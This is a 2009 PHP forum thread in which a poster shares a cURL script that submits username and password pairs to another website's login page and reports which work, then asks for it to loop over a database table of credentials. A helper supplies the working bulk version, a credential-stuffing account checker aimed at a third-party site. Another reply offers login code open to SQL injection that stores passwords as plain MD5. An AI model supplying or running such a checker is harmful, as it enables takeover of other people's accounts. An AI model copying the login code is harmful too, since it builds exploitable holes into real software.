Turn Hardcode into Database Run
10-27-2009, 07:14 PM
|
Turn Hardcode into Database Run
|
Posts: 109
Name: Not Telling
|
I currently have this code, its an account checker for a website, it checks if the information is valid or not.
PHP Code:
<?php $username = "username"; $password = "password";
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://website.com/login.ws"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password."&dest=title.ws&mod=www&ssl=0"); $pagedata = curl_exec($ch); curl_close($ch); if (preg_match("/Your login was successful. You will shortly be redirected to your destination./i", $pagedata)) {
$valid = "Valid"; } elseif (preg_match("/Login Failed - Invalid Username or Password/i", $pagedata)) { $valid = "Invalid";
} else { $valid = "Cannot check! Too many invalid logins"; } echo $valid;
?>
Can someone help me out by turning this into a database run account checker, that means instead of having to do it 1 by 1 by editing:
Code:
$username = "username";
$password = "password";
and reloading the pasge
It can just go to a database select a table, and the 2 columns named:
user
pass
and just go through the rows and check it.
Structure of my table:
Code:
+---------+------------+-----------+
| user_id | username | password |
+---------+------------+-----------+
| 1 | john12 | thepass |
| 2 | catman17 | cat |
+---------+------------+-----------+
Is that possible?
|
|
|
|
10-28-2009, 07:24 AM
|
Re: Turn Hardcode into Database Run
|
Posts: 186
Name: Andy
Location: N.Ireland
|
Hi Sith, it is indeed possible, you can use sessions. Below is the basic information you need, called the below page login.php and point your form at it.
PHP Code:
<?php session_start();
require_once('database.php'); // database connection information
$username = $_POST['username'];
$sql = "SELECT user_id, username FROM user WHERE username = '".$username."' AND password = '".md5($_POST['password'])."' LIMIT 1"; $result = mysql_query($sql)or die(mysql_error()); $valid = mysql_num_rows($result); if($valid > 0){ $row = mysql_fetch_assoc($result); $_SESSION['user_id'] = $row['user_id']; $_SESSION['username'] = $row['username']; header("Location:loggedin.php"); }else{ header("Location:failed.php"); }
Remember to include session_start(); at the very top of each of your pages, then create a page called checklogin.php and include the following code.
PHP Code:
if($_SESSION['user_id']<1){ $page = 'loggedout'; } if($page=='loggedout'){ session_destroy(); header('Location:login.php'); }
So your general page structure will look as follows:
PHP Code:
<?php session_start(); require_once('database.php'); require_once('checklogin.php'); ?> <html> <head>
</head>
<body> </body> </html>
Ensure all of your passwords are inserted into your database as MD5, google it if you aren't aware of what that is.
That should work ok although I wrote it in this box without syntax so there may be errors.
Cheers,
Andy
|
|
|
|
10-28-2009, 09:16 AM
|
Re: Turn Hardcode into Database Run
|
Posts: 109
Name: Not Telling
|
This is at all NOT what I need, I already know how to make a login.
I need a script that will directly get information from a table and post it.
Basicly turning this:
PHP Code:
$username = "username"; $password = "password";
so it is run by a database.
Because this is a not a login, it checks if the information is correct,
THERE IS NO LOGIN BEFORE IT.
|
|
|
|
10-28-2009, 09:19 AM
|
Re: Turn Hardcode into Database Run
|
Posts: 22,225
Location: Blackpool. UK
|
|
|
|
|
10-28-2009, 09:32 AM
|
Re: Turn Hardcode into Database Run
|
Posts: 186
Name: Andy
Location: N.Ireland
|
Actually, that is exactly what this script does. It checks the database for existence of an entered user name and password ? Perhaps you should explain yourself a little better in your posts so as not to waste peoples valuable time.
|
|
|
|
10-28-2009, 11:19 AM
|
Re: Turn Hardcode into Database Run
|
Posts: 46
|
I think what you are asking is to take a table of users and then loop through each user and post that info to the verification script....
If so...
Assuming the structure of your table name 'users'
+---------+------------+-----------+
| user_id | username | password |
+---------+------------+-----------+
| 1 | john12 | thepass |
| 2 | catman17 | cat |
+---------+------------+-----------+
Code:
include_once('database.php');
$sql = "select * from users";
$results = mysql_query($sql);
$ch = curl_init();
while($user = mysql_fetch_array($results))
{
$username = $user[0];
$password = $user[1];
curl_setopt($ch, CURLOPT_URL, "https://website.com/login.ws");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password."&dest=title.ws&mod=www&ssl=0");
$pagedata = curl_exec($ch);
if (preg_match("/Your login was successful. You will shortly be redirected to your destination./i", $pagedata)) {
$valid = "Valid";
} elseif (preg_match("/Login Failed - Invalid Username or Password/i", $pagedata)) {
$valid = "Invalid";
} else {
$valid = "Cannot check! Too many invalid logins";
}
echo $valid;
}
curl_close($ch);
I believe that is what you are going for.... doesn't make much sense to me...why do a cURL call if you accessing the db directly.
If this still isn't what you are looking for... good luck
|
|
|
|
10-28-2009, 01:25 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 109
Name: Not Telling
|
Quote:
Originally Posted by spyderwebtech
I think what you are asking is to take a table of users and then loop through each user and post that info to the verification script....
If so...
Assuming the structure of your table name 'users'
+---------+------------+-----------+
| user_id | username | password |
+---------+------------+-----------+
| 1 | john12 | thepass |
| 2 | catman17 | cat |
+---------+------------+-----------+
Code:
include_once('database.php');
$sql = "select * from users";
$results = mysql_query($sql);
$ch = curl_init();
while($user = mysql_fetch_array($results))
{
$username = $user[0];
$password = $user[1];
curl_setopt($ch, CURLOPT_URL, "https://website.com/login.ws");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=".$username."&password=".$password."&dest=title.ws&mod=www&ssl=0");
$pagedata = curl_exec($ch);
if (preg_match("/Your login was successful. You will shortly be redirected to your destination./i", $pagedata)) {
$valid = "Valid";
} elseif (preg_match("/Login Failed - Invalid Username or Password/i", $pagedata)) {
$valid = "Invalid";
} else {
$valid = "Cannot check! Too many invalid logins";
}
echo $valid;
}
curl_close($ch);
I believe that is what you are going for.... doesn't make much sense to me...why do a cURL call if you accessing the db directly.
If this still isn't what you are looking for... good luck
|
EXACTLY! I am not accesing my site tho, I am accessing another site.
Also, what does this mean:
PHP Code:
$username = $user[0]; $password = $user[1];
And shouldent it be like password[1]?
|
|
|
|
10-28-2009, 02:05 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 46
|
Code:
$username = $user[1]; /// this is the first column in the database for each record
$password = $user[2]; /// this is the second column in the database for each record
if you had a third column it would be $user[2] and so on and so on
It is not $password[1] because I am setting the result database object in this call
Code:
$user = mysql_fetch_array($results)
so every record is based upon the $user variable
Last edited by spyderwebtech; 10-28-2009 at 02:46 PM..
Reason: made boo boo
|
|
|
|
10-28-2009, 02:15 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 109
Name: Not Telling
|
The thing is the password column is 3rd as you can see in the structure.
|
|
|
|
10-28-2009, 02:22 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 22,225
Location: Blackpool. UK
|
It doesn't matter WHERE it is in the structure. It is WHERE it is in the query the would determine the index position in the array.
|
|
|
|
10-28-2009, 02:32 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 109
Name: Not Telling
|
Oh okay. Thanks.
|
|
|
|
10-28-2009, 02:45 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 46
|
ya your right... it would be $user[1] and $user[2] receptively for username and password
No excuse. 
|
|
|
|
10-28-2009, 02:48 PM
|
Re: Turn Hardcode into Database Run
|
Posts: 109
Name: Not Telling
|
Its alright. Thanks 
|
|
|
|
|
« Reply to Turn Hardcode into Database Run
|
|
|
| Thread Tools |
Search this Thread |
|
|
|
Posting Rules
|
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
HTML code is Off
|
|
|
|
|
|